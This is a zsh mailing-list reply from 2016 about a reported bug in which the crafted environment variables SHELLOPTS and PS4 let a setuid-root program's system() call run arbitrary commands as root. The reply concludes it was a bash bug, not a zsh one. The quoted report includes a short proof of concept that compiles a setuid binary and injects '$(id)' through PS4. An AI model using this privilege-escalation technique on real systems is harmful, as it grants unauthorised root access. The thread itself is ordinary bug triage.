Zsh Mailing List Archive
Messages sorted by: Reverse Date, Date, Thread, Author

Re: BUG: crafting SHELLOPTS and PS4 allows to run arbitrary programs in setuid binaries using system

On Tue, Sep 27, 2016 at 9:54 AM Daniel Shahaf <d.s@xxxxxxxxxxxxxxxxxx>
wrote:

> Mateusz Lenik wrote on Tue, Sep 27, 2016 at 06:59:18 +0000:
> > % gcc -xc - -otest <<< 'int main() { setuid(0); system("/bin/date"); }'
> > % sudo chown root:root test
> > % sudo chmod 4755 test
> > % env -i SHELLOPTS=xtrace PS4='$(id)' ./test
> > uid=0(root) gid=... groups=.../bin/date
> > Tue Sep 27 08:49:16 CEST 2016
>
> I can't reproduce that either either 5.0.7 or latest master, even with
> «setopt promptsubst» in effect.  (Does it reproduce in 'zsh -f'?)
>
Thanks for looking into it.
It turned out that I didn't research it thoroughly, sorry about that.

glibc execs /bin/sh, so even when zsh is the root shell, it won't be used.
After pointing /bin/sh link to zsh, it works correctly, so after all it was
that bash bug.

Best,
mlen
Messages sorted by: Reverse Date, Date, Thread, Author